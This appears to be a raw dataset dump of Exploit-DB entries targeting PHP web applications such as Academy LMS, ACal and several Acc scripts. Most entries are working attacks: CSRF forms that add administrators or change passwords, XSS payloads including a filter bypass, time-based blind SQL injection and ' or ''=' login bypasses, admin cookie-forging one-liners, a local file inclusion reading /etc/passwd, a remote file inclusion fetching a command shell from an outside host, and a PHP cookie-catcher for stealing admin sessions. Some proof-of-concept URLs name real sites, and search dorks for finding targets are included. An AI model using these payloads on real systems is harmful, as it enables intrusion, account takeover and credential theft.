deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45600
Description: Academic Timetable Final Build 7.0b - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-10-15
Author: Ihsan Sencan

Exploit:
# Exploit Title: Academic Timetable Final Build 7.0b - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://geoffpartridge.net/
# Software Link: https://sourceforge.net/projects/timetableacademic/files/latest/download
# Version: 7.0a-7.0b
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Description
# New admin can be added..
 
http://192.168.1.27/[PATH]/user.php?act=insert&use_id=1testdb&use_name=1testdb&rol_id=ADMIN&[CREDENTIAL_REDACTED]

GET [PATH]/user.php?act=insert&use_id=1testdb&use_name=1testdb&rol_id=ADMIN&[CREDENTIAL_REDACTED] HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 13 Oct 2018 01:10:29 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 910
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
 
/* `exploitdb`.`ms_user` */
$ms_user = array(
  array('use_id' => '1testdb','use_name' => '1testdb','rol_id' => 'ADMIN','pwd' => '*6CC4E8CFFEAF202D7475BC906612F9A29A9C8117')
);
#
Exploit-DB #51654
Description: Academy LMS 6.0 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: Academy LMS 6.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 22/07/2023
# Vendor: Creativeitem
# Vendor Homepage: https://creativeitem.com/
# Software Link: https://demo.creativeitem.com/academy/
# Version: 6.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4119


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /academy/home/courses

GET parameter 'query' is vulnerable to XSS

https://website/academy/home/courses?query=[XSS]


Path: /academy/home/courses

GET parameter 'sort_by' is vulnerable to XSS

https://website/academy/home/courses?category=web-design&price=all&level=all&language=all&rating=all&sort_by=[XSS]


XSS Payloads (Blocked) :

<script>alert(1)</script>
ldt4d"><ScRiPt>alert(1)</ScRiPt>nuydd


XSS Payload Bypass Filter :

cplvz"><img src=a onerror=alert(1)>fk4ap



[-] Done
Exploit-DB #51702
Description: Academy LMS 6.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2023-09-04
Author: CraCkEr

Exploit:
# Exploit Title: Academy LMS 6.1 - Arbitrary File Upload
# Exploit Author: CraCkEr
# Date: 05/08/2023
# Vendor: Creativeitem
# Vendor Homepage: https://academylms.net/
# Software Link: https://demo.academylms.net/
# Version: 6.1
# Tested on: Windows 10 Pro
# Impact: Allows User to upload files to the web server
# CWE: CWE-79 - CWE-74 - CWE-707


## Description

Allows Attacker to upload malicious files onto the server, such as Stored XSS


## Steps to Reproduce:

1. Login as a [Normal User]
2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/dashboard/#/settings
3. Upload any Image into the [avatar]
4. Capture the POST Request with [Burp Proxy Intercept]
5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS]

-----------------------------------------------------------
POST /wp-admin/async-upload.php HTTP/2

-----------------------------------------------------------
Content-Disposition: form-data; name="async-upload"; filename="ahacka.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS by CraCkEr");
</script>
</svg>
-----------------------------------------------------------

6. Send the Request
7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS]
8. Access your Uploded Evil file on this Path: https://website/wp-content/uploads/***/**/*****.svg



[-] Done
Exploit-DB #51758
Description: Academy LMS 6.2 - SQL Injection
Type: webapps
Platform: php
Date: 2024-01-31
Author: CraCkEr

Exploit:
# Exploit Title: Academy LMS 6.2 - SQL Injection
# Exploit Author: CraCkEr
# Date: 29/08/2023
# Vendor: Creativeitem
# Vendor Homepage: https://creativeitem.com/
# Software Link: https://demo.creativeitem.com/academy/
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4974
# CWE: CWE-89 / CWE-74 / CWE-707


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /academy/tutor/filter

GET parameter 'price_min' is vulnerable to SQL Injection
GET parameter 'price_max' is vulnerable to SQL Injection

https://website/academy/tutor/filter?searched_word=&searched_tution_class_type%5B%5D=1&price_min=[SQLi]&price_max=[SQLi]&searched_price_type%5B%5D=hourly&searched_duration%5B%5D=0

---
Parameter: price_min (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: searched_word=&searched_tution_class_type[]=1&price_min=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&price_max=9&searched_price_type[]=hourly&searched_duration[]=0

Parameter: price_max (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: searched_word=&searched_tution_class_type[]=1&price_min=1&price_max=(SELECT(0)FROM(SELECT(SLEEP(9)))a)&searched_price_type[]=hourly&searched_duration[]=0
---


[-] Done
Exploit-DB #36110
Description: ACal 2.2.6 - 'calendar.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-02
Author: T0xic

Exploit:
source: https://www.securityfocus.com/bid/49442/info

ACal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

ACal 2.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/calendar/calendar.php?year=<script>alert(document.cookie)</script>
Exploit-DB #1763
Description: ACal 2.2.6 - 'day.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-07
Author: PiNGuX

Exploit:
$*******************************************$
$ Title: ACal 2.2.6 = Remote File Inclusion $
$*******************************************$
$ URL: http://acalproj.sourceforge.net/ $
$***************************************$
$ Dork: intitle:"Login to Calendar" $
$***********************************$
$ Credits: PiNGuX $
$*****************$
$ Greetz : [0o] $
$***************$

Exploit:
http://[url]/[calendar_path]/embed/day.php?path=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-05-07]
Exploit-DB #38697
Description: ACal 2.2.6 - 'view' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-08-15
Author: ICheer_No0M

Exploit:
source: https://www.securityfocus.com/bid/61801/info

ACal is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input before being used to include files.

An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.

ACal 2.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/calendar/embed/example/example.php?view=../../etc/passwd%00
Exploit-DB #18589
Description: Acal Calendar 2.2.6 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-03-12
Author: Number 7

Exploit:
# Exploit Title: [Acal calendar 2.2.6 CSRF Vulnerability]
# Date:          [11-03-2012]
# Author:        [Number 7]
# Software Link: [http://sourceforge.net/projects/acalproj/files/latest/download?source=directory]
# Version:       [2.2.6]
# Dork:          ["Calendar Admin: Edit Header and Footer"]
# Tested on:     [Windows,Linux]
____________________________________________________________________________
Add User<br>
<form method="post" action="http://localhost/ACal-2.2.6/calendar/admin/changelogin.php?action=add"><br>
Username: <br>
<input type="text" size="20" name="user" /><br>
Password:<br>
 <input type="password" size="20" name="pass" />
<input type="submit" value="Add User" /></form>

Edit/Add Header
<form action="http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=header" method="post">
<textarea cols="60" rows="14" name="header">Write New Header Here.&lt;/textarea&gt;
<input type="submit" value="Submit Changes" />

Edit/Add Footer
<form action="http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=footer" method="post">
<textarea cols="60" rows="14" name="footer">Write New Footer Here.&lt;/textarea&gt;
<input type="submit" value="Submit Changes" />
</form>


Style Options
<form method="post" action="http://localhost/ACal-2.2.6/calendar/admin/style.php?edit=style">
<textarea name="stylesheet" cols="60" rows="20">&lt;/textarea&gt;
<input type="submit" value="Edit" />

HTML INJECTION:
http://localhost/ACal-2.2.6/calendar/calendar.php?year=Inject HTML Code here.
____________________________________________________________________________
Exploit-DB #10400
Description: Acc Auto Dealer Script 5.0 - Persistent Cross-Site Scripting / SQL Backup
Type: webapps
Platform: php
Date: 2009-12-13
Author: bi0

Exploit:
# Vendor : http://www.accscripts.com/autos/download.html
# Version: 5.0


                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 [PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] Acc Auto Dealer Script [ Persistent XSS / SQL backup ]
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Homepage : www.ssteam.ws
# [x] Thanks: packetdeath,redking,Zer0flag,sp1r1t and ssteam.ws ...
#
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
#    [SQL Backup]
#
#    http://server/[path]/temp/
#    and serach for .sql .You can find users & passwords
#
#    [ Persistent XSS ]
#
#    At the Auto Dealer Script you can register as an normal user and at your Control Panel
#    You can modify "Description" and put there an javascript code to steal cookies, Then if
#    Site admin visits your profile you can steal their cookies. EX :
#
#    // Cookie Catcher "cookie.php"
#    You must Host somewhere cookie.php
#=======================================================================

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

#=========================================================================
#
#    // And at your Description type :
#
#=========================================================================

"/>

#=========================================================================
#
#    Now if site admin visits you'r profile their cookies will be saved at
#    http://host/cookie.html
#
[#]------------------------------------------------------------------------------------------[#]

#EOF
Exploit-DB #6968
Description: Acc Autos 4.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-03
Author: x0r

Exploit:
-==========================================-
Autore: x0r - Road Crew - Evolution Team
Cms: Acc Autos v4.0
Bug:  Insecure Cookie Handling
Site: http://pro7.altervista.org/v2/
-==========================================-
Exploit:

[+]javascript:document.cookie="username_cookie=admin";
[+]javascript:document.cookie="right_cookie=1";
[+]javascript:document.cookie="id_cookie=1";

Live Demo:

http://www.accscripts.com/autos/demo/admin/

Greetz: 8\10\2008..Il Sogni Diventa RealtÃ ...Bimb4 Ti AmO.

# milw0rm.com [2008-11-03]
Exploit-DB #15338
Description: ACC IMoveis 4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-10-27
Author: EraGoN

Exploit:
# Exploit Title : iMoveis SQL Injection Vulnerability
# Date : 26/10/2010
# Author : EraGoN
# Software link : http://baixar7.com/download/acc-imoveis-script-php.rar/3d1e7bf4b9
# Version : 1.1
# Tested on : Linux / Windows XP


# Dork :

inurl:imoveis.php?id=

#Error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server

version for the right syntax to use near '20'' at line 1

#Vuln :

http://www.site.org/imoveis.php?id=20


**Proud to be Muslim
**Proud to be Albanian
**www.eragon.ws

Contact : eragon@legends.ag


[ Special Thanks : KuBaNeZi , DJ-DUKLI , The|Denny` , Loock3D , BaDBoY ]
[ Visit / Greetz : ALBANIAN-LEGENDS.COM Members - www.eragon.ws - www.uah1.org.uk ]
Exploit-DB #10412
Description: Acc PHP eMail 1.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2009-12-13
Author: bi0

Exploit:
               ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 [PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] Acc PHP eMail v1.1 - [ CSRF ]
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Homepage : www.ssteam.ws
# [x] Thanks: packetdeath,,Zer0flag,redking and ssteam.ws ...
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# [ CSRF ]
#
#  It Changes the password
#
#  http://localhost/mailinglist/index.php
#
# // Start CSRF
# <html>
# <form action="http://localhost/mailinglist/demo/index.php" method="POST">
# <input type="hidden" name="action" value="change">
# <input type="hidden" name="id" value="1">
# <input type="hidden" id="text" name="user" value="admin">
# <input type="password"  name="password" value="pass">
# <input type="password"  name="password1" value="pass">
# <input type="hidden" name="action" value="change1">
# <input type="submit" name="login" value="Modify">
# </form>
# </html>
# // End of attack
#
[#]------------------------------------------------------------------------------------------[#]

#EOF
Exploit-DB #6966
Description: Acc PHP eMail 1.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-03
Author: Hakxer

Exploit:
###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# [~] Discovered by : Hakxer
# [~] Type Gap :Acc PHP eMail v1.1 Insecure Cookie Handling
# [~] Script : http://www.accscripts.com/mailinglist/
# [~] Greetz : Allah .. " Allah AkBar .. " Big Hacking SoOoN
##########################################################################

   
   PoC : javascript:document.cookie="NEWSLETTERLOGIN=admin";
         javascript:document.cookie="NEWSLETTERLOGIN=Hakxer";
   
   [~] Admin panel 
   http://www.accscripts.com/mailinglist/demo/index.php
   [~] Execute JS Code javascript:document.cookie="NEWSLETTERLOGIN=admin";
   [~] Refresh
		

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-03]
Exploit-DB #6964
Description: Acc Real Estate 4.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-03
Author: Hakxer

Exploit:
###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# [~] Discovered by : Hakxer
# [~] Type Gap : Acc Real Estate v4.0 Insecure Cookie Handling
# [~] Script : http://www.accscripts.com/realestate/admin-area-specifications.html
# [~] Greetz : Allah .. " Allah AkBar .. " Big Hacking SoOoN
##########################################################################

Bug In : /admin/Index.php
   
   PoC : javascript:document.cookie="username_cookie=admin";
   
   [~] Admin panel 
   http://www.accscripts.com/realestate/demo/admin/index.php
   [~] Execute JS Code javascript:document.cookie="username_cookie=admin"; 
   [~] Refresh
		

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-03]
Exploit-DB #6965
Description: Acc Statistics 1.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-03
Author: Hakxer

Exploit:
###########################################################################
______ __ __ ______ __ ______
/ ____/___ \ \/ / / ____/___ ____/ /__ __________ /_ __/__ ____ _____ ___
/ __/ / __ `/\ / / / / __ \/ __ / _ \/ ___/ ___/ / / / _ \/ __ `/ __ `__ \
/ /___/ /_/ / / / / /___/ /_/ / /_/ / __/ / (__ ) / / / __/ /_/ / / / / / /
/_____/\__, / /_/ \____/\____/\__,_/\___/_/ /____/ /_/ \___/\__,_/_/ /_/ /_/
/____/

# [~] Discovered by : Hakxer
# [~] Type Gap : AccStatistics v1.1 Insecure Cookie Handling
# [~] Script : http://www.accscripts.com/accstatistics.html
# [~] Greetz : Allah .. " Allah AkBar .. " Big Hacking SoOoN
##########################################################################

Bug In : /admin/Index.php

PoC : javascript:document.cookie="username_cookie=admin";

[~] Admin panel
http://www.accstatistics.com/demo/index.php
[~] Execute JS Code javascript:document.cookie="username_cookie=admin";
[~] Refresh


# Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-03]
Exploit-DB #26343
Description: Accelerated E Solutions - SQL Injection
Type: webapps
Platform: php
Date: 2005-10-11
Author: Andysheh Soltani

Exploit:
source: https://www.securityfocus.com/bid/15077/info

Accelerated E Solutions is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
Username =admin
Password= ' or ''='
Exploit-DB #26346
Description: Accelerated Mortgage Manager - 'Password' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-13
Author: imready4chillin

Exploit:
source: https://www.securityfocus.com/bid/15097/info

Accelerated Mortgage Manager is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before passing it on to SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Username =admin
Password= ' or ''='
Exploit-DB #32290
Description: Accellion File Transfer - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-22
Author: Eric Beaulieu

Exploit:
source: https://www.securityfocus.com/bid/30796/info


Accellion File Transfer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Accellion File Transfer FTA_7_0_135 is vulnerable; prior versions may also be affected. 

https://www.example.com/courier/forgot_password.html/>"><script>alert(document.cookie)</script>
Exploit-DB #9370
Description: AccessoriesMe PHP Affiliate Script 1.4 - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-05
Author: Moudi

Exploit:
/*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

AccessoriesMe PHP Affiliate Script v1.4 (bSQL-XSS) Multiple Remote Vulnerabilities

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://www.accessories.me.uk/downloadscript/download.php?u=latest/PHPAffiliateScript.zip&f=database/Affiliate-Script.dat

Greetings : Mizoz, Zuka, str0ke, 599eme Man.

*/

[+] Exploit XSS:

- Vulnerable code in search.php (Keywords).
- Vulnerable code in browse.php (SearchIndex).

- Poc:
  http://127.0.0.1/search.php?Keywords=[XSS]
  http://127.0.0.1/browse.php?SearchIndex=[XSS]
  http://ipod.accessories.me.uk/search.php?Keywords=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]96)%3B</ScRiPt>
  http://ipod.accessories.me.uk/browse.php?SearchIndex=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]96)%3B</ScRiPt>

[+] Exploit bSQL:

- Vulnerable code in browse.php (SearchIndex).

- Poc:
  http://127.0.0.1/browse.php?SearchIndex=PCHardware&BrowseNode=[NB]&sort=psrank&Go=[bSQL]
  http://ipod.accessories.me.uk/browse.php?SearchIndex=PCHardware&BrowseNode=3221551&sort=psrank&Go=Submit and 1=1 TRUE
  http://ipod.accessories.me.uk/browse.php?SearchIndex=PCHardware&BrowseNode=3221551&sort=psrank&Go=Submit and 1=2 FALSE

# milw0rm.com [2009-08-05]